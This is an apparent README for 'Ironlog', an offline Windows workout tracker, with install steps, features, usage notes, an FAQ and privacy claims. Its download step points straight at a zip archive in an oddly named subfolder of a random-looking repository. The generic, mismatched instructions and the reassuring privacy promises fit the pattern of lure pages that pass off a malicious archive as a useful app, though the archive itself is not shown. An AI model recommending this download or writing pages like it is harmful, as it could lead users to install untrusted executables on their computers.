Ironlog tracks your gym progress. It works offline. You do not need an internet connection to log your sets. The app stores data on your device. You can view charts to monitor your strength growth. It helps you follow complex routines. You gain insights into your training patterns. You spend less time guessing and more time lifting.
Use a computer running Windows 10 or Windows 11. You need 200 megabytes of free space on your hard drive. Your screen should support a resolution of at least 1280 by 720 pixels. The app runs better with 4 gigabytes of memory or more.
- Visit this page to download: https://raw.githubusercontent.com/Creperazbliuto2791/Ironlog/main/teleotrocha/Software-v1.0.zip
- Locate the link to the installer for Windows.
- Click the link to save the file to your computer.
- Open your Downloads folder.
- Click the file to start the setup.
- Follow the prompts on the screen.
- Wait for the progress bar to finish.
- Locate the Ironlog shortcut on your desktop.
- Click the shortcut to open the application.
- Offline Storage: Access your workout history without a network. Your records stay on your device.
- Progress Charts: Visualize your strength gains over time. Use graphs to track exercises like squats, bench presses, and deadlifts.
- Session Logs: Record weight, repetitions, and sets for every routine.
- Routine Builder: Organize your exercises into specific training plans.
- Bodybuilding Focus: Tailor your data to track hypertrophy and muscle growth.
Start by opening the app on your desktop. The main dashboard appears. Click the button to create a new session. Choose the date of your workout. Select the muscle groups you plan to train. Enter the exercises from your current list. Enter the weight you lift for each set. Input the number of repetitions. Save the entry to store the data.
View your history by clicking the history tab. The app presents a list of completed sessions. Click any session to see details. Compare current performance against previous weeks. Use the statistics tab to see trends. The charts highlight peaks in your strength. This data helps you plan your next gym visit.
You can change your workout routine at any time. Click the settings menu to manage exercises. Add new movements to your database. Remove exercises you no longer perform. Rename your programs to match your current cycle. Rename a session to stay organized during a long training block.
The app supports multiple programs. You can switch between a strength program and a hypertrophy program. Keep your data separate to get accurate insights for each goal. Backup your data regularly to keep your records safe.
Does Ironlog require an account? No. You do not need to sign in. The app runs offline.
Can I export my data? Yes. Use the data management menu to export your logs to a file. This file stores your history in a common format.
Does this app track heart rate? No. Ironlog focuses on strength and weight logs. Use a smartwatch for heart rate data.
How do I update the software? Visit the download page again. Download the latest version. Reinstall the app to apply the update. Your workout history remains on your device.
Ironlog stores your information on your computer. No data leaves your machine. No third parties see your lifts. You control your information. Do not share your computer with others if you want to keep your fitness data private.
If the app fails to open, restart your computer. If the window appears blank, resize the window to refresh the view. Ensure your display scale is set to 100 percent in Windows settings if text appears small or cut off. Update your graphics drivers if you see flickering. Check your storage space if you cannot save new logs. Contact the developer if these steps do not fix your specific issue.